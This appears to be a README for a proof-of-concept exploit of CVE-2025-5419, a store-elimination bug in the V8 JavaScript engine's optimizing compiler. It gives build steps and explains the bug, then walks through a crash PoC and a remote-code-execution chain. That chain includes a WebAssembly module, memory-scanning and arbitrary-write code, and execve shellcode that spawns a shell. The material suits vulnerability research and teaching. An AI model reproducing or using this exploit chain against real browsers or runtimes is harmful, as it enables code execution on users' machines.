CVE-2025-5419

Background

Based on the ITW exploit (author unknown) found by Clement Lecigne and Benoît Sevens.

Build Instructions

 Build d8 using:
 a) Run once
    git checkout 5c198837c21b9b6cde113c4cb35d00e6b368f9a5
    gclient sync
    gn gen ./out/x64.debug
    gn gen ./out/x64.release
 b) 
    Debug Build:
    You will need to patch the "ShouldZapGarbage" function in "./heap/zapping.h"
    to return false. This function returns false in release builds.

    ninja -C ./out/x64.debug d8
      
    Release Build:
    ninja -C ./out/x64.release d8
    
Run with:
  C:\path\to\v8\v8\out\x64.debug\d8 --allow-natives-syntax exploit.js
  C:\path\to\v8\v8\out\x64.release\d8 --allow-natives-syntax exploit.js

  C:\path\to\v8\v8\out\x64.debug\d8 --allow-natives-syntax --trace-turbo-graph --trace-turbo exploit.js

Explanation

So, the vulnerability lies in how the compiler handles the StoreStoreEliminationReducer() because as a optimization step it tries to remove redundant stores in user defined code for the sake of optimization.

Here’s a example of it!

   let o = {};
   o.x = 2;
   o.y = 3;
   o.x = 4;
   use(o.x);

The StoreStoreEliminationReducer sees that since we assigned o.x a value and then we reassign a value before we’re even supposed to touch it. The first o.x is redundant since the code would be functional with or without the o.x = 2;

How does it know that this operation is redundant you might ask?

The optimizing only works if the compiler knows and models the location that loads or stores access.

Here’s the code for the optimizer on loading or storing access

       case Opcode::kLoad: {
         const LoadOp& load = op.Cast<LoadOp>();
         const bool is_on_heap_load = load.kind.tagged_base;
        const bool is_fixed_offset_load = !load.index().valid();
          For now we consider only loads of fields of objects on the heap.
        if (is_on_heap_load) {
          if (is_fixed_offset_load) {
            table_.MarkPotentiallyAliasingStoresAsObservable(load.base(),
                                                             load.offset);
          } else {
             A dynamically indexed load might alias any fixed offset.
            table_.MarkAllStoresAsObservable();
          }
         }
         break;
       }

Now this is alot but let’s break it down. Basically we see that load operations now call “MaybeRedundantStoresTable::MarkAllStoresAsObservable” in the case of a indexed load. An index load corresponds to something like “arr[index]” in JS.

In the unpatched version this baically just means that index loads are invisible to the optimizer for storestorereducer. This could run into a issue where indexs could alias with previous stores

Code example for indexed loading prepatch


//"arr[0] = 1" and "arr[index]" would alias when index = 0.

let index = 0;
let arr = [];
arr[0] = 1;
let x = arr[index];
arr[0] = 2;

Because when we loaded arr[index] into x in a unobservalable state, the compiler thinks that arr[0] = 1; is redundant. That’s the primative for removing stored operations!

Now for the actual exploitation we need to remove the initalization store of the array. The initalization store is just the first store that populates the array elements. If we do that we can access memory that has not been initalized, which can lead to us using other primatives such as fakeObj or other primatives to leak information about memory.

POC Analysis

poc_crash.js - Demonstrating the Vulnerability

So, let’s break down the crash POC to see how this vulnerability manifests in practice.

The crash POC is pretty straightforward - it’s designed to trigger the StoreStoreEliminationReducer bug and cause a crash by accessing uninitialized memory.

class C3 extends C2 {
    constructor(obj) {
        try { new.target(); } catch (e) {}
        super();
        const v12 = new Array(32);
        const v14 = new Array(64);
        %DebugPrint(v12);
            for (let v13 = 0; v13 < 2; v13++) {
                if(!v13) {
                 
                    new Array(256);
                    gc();
                    gc();
                    let fake_object_array = [1.9196715642022913e-307,2261634.5098039214, 3.4644403541910054e-308, 5.743499907618807e-309]; // 0x4141

                } 
                else{
                    obj.c = v12;
                    obj.e = corrupted_arr; 
                    obj.d = v14 ;
                }

            }
        %OptimizeMaglevOnNextCall(C3);
    }
}

So what’s happening here? The POC creates a class C3 that extends C2. In the constructor, it creates two arrays v12 and v14, then runs a loop twice.

The key part is in the loop - on the first iteration (!v13), it:

  1. Creates a new Array(256)
  2. Calls garbage collection twice
  3. Creates a fake_object_array with some specific double values

On the second iteration, it assigns these arrays to the object properties.

The %OptimizeMaglevOnNextCall(C3) tells V8 to optimize this constructor on the next call.

When we run this multiple times:

new C3(obj);
new C3(obj);
new C3(obj);

The third call triggers the optimization, and that’s where the StoreStoreEliminationReducer kicks in. It sees that we’re storing to array elements and thinks some of those stores are redundant, so it removes them. But this creates a situation where we can access uninitialized memory.

The final line console.log(obj.d[1]); tries to access obj.d[1], but because the initalization store was eliminated, this memory location contains garbage data, which can cause a crash or unexpected behavior.

poc_rce.js - Full Exploitation Chain

Now this is where things get interesting! The RCE POC takes the same vulnerability and turns it into a full remote code execution exploit. Let’s break down how this works.

The RCE POC is much more complex and implements a complete exploitation chain:

  1. WebAssembly Setup: So first, it creates a WebAssembly module with some helper functions:
var wasm_code = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x09, 0x02, 0x60,  0x00, 0x00, 0x60, 0x02, 0x7f, 0x7e, 0x00, 0x03, 0x05, 0x04, 0x00, 0x00,  0x01, 0x00, 0x05, 0x03, 0x01, 0x00, 0x01, 0x07, 0x22, 0x04, 0x03, 0x6e,  0x6f, 0x70, 0x00, 0x00, 0x04, 0x6e, 0x6f, 0x70, 0x32, 0x00, 0x01, 0x09,  0x61, 0x72, 0x62, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x00, 0x02, 0x05,  0x73, 0x68, 0x65, 0x6c, 0x6c, 0x00, 0x03, 0x0a, 0x29, 0x04, 0x03, 0x00,  0x01, 0x0b, 0x15, 0x00, 0x01, 0x41, 0x00, 0x41, 0xad, 0xbd, 0x03, 0x36,  0x02, 0x00, 0x41, 0x01, 0x41, 0xad, 0xbd, 0x03, 0x36, 0x02, 0x00, 0x0b,  0x09, 0x00, 0x20, 0x00, 0x20, 0x01, 0x37, 0x03, 0x00, 0x0b, 0x03, 0x00,  0x01, 0x0b
]);

This WebAssembly module exports functions like shell, arb_write, nop, and nop2 that will be used later in the exploit.

  1. Helper Class: So the Helpers class provides utility functions for type conversion and memory manipulation:
class Helpers {
    constructor() {
        this.buf = new ArrayBuffer(8);
        this.dv = new DataView(this.buf);
        this.u8 = new Uint8Array(this.buf);
        this.u32 = new Uint32Array(this.buf);
        this.u64 = new BigUint64Array(this.buf);
        this.f32 = new Float32Array(this.buf);
        this.f64 = new Float64Array(this.buf);
        // ... more setup
    }
    
    i64tof64(i) {
        this.u64[0] = i;
        return this.f64[0];
    }
    
    f64toi64(f) {
        this.f64[0] = f;
        return this.u64[0];
    }
    // ... more helper functions
}
  1. Memory Layout Setup: So the exploit sets up a large array addrOf_LO and populates it with references to the WebAssembly instance:
var addrOf_LO = new Array(0x3000);
// ...
let index = 0x30;
while(index < 0x100){
    addrOf_LO[index+1] = wasm_instance;
    addrOf_LO[index+2] = wasm_instance;
    addrOf_LO[index+3] = wasm_instance;
    addrOf_LO[index+0] = wasm_instance;
    index += 4;
}
  1. The Core Vulnerability: So the same C3 class is used, but this time with more sophisticated memory manipulation:
class C3 extends C2 {
    constructor(obj) {
        try { new.target(); } catch (e) {}
        super();
        const v12 = new Array(32);
        const v14 = new Array(64);
            for (let v13 = 0; v13 < 2; v13++) {
                if(!v13) {
                    helper.scavenge_gc();
                    fake_object_array = [1.9196715642022913e-307,helper.hex_to_dbl("0x6cd0018efb1"),helper.hex_to_dbl("0x3000000190004"), 5.743499907618807e-309]; // runtime
                } 
                else{
                    obj.c = v12;
                    obj.e = corrupted_arr; 
                    obj.d = v14 ;
                }
            }
        %OptimizeMaglevOnNextCall(C3);
    }
}
  1. Memory Scanning and Leaking: So the pwn() function scans through the corrupted memory to find useful objects:
function pwn(){
    let obj = {a: [], c: "a" };
    new C3(obj);
    new C3(obj);
    new C3(obj);
    
    // Scan for the pilot object
    for(let i = begin_scan;i < begin_scan+0x5200;i++){
        if(obj.d[i] === 1.6847547739226092e+20){
            console.log("[*] Found the pilot at: " + i + " 0x");
            helper.print_hex(obj.d[i]);
            found = i;
            break;
        }
    }
    // ... more memory scanning
}
  1. Arbitrary Write Primitive: So once the exploit has found the right memory layout, it can write arbitrary data:
let jump_table_start = BigInt(helper.f64toi64(leak_addr[7])) >> 8n; 
let tiering_budget_array_off = index_to_leak + 13; 
let tiering_budget_array_off_addr = BigInt(helper.f64toi64(leak_addr[13])) >> 8n; 

// ... setup shellcode addresses

obj.d[tiering_budget_array_off] = helper.i64tof64(sub_instruction_addr << 8n);
// ... more arbitrary writes
  1. Shellcode Execution: So finally, it writes shellcode and executes it:
const shellcode = [
    0x732f6e69622fb848n, 0x66525f5450990068n, 0x5e8525e54632d68n, 0x68736162000000n, 0xf583b6a5e545756n, 0x5n
];

function final(){
    shellcode.map((code, i) => {
        arb_write(i * 8, code);
    })
    
    console.log("[+] spwn shell!!!")
    shell(); 
}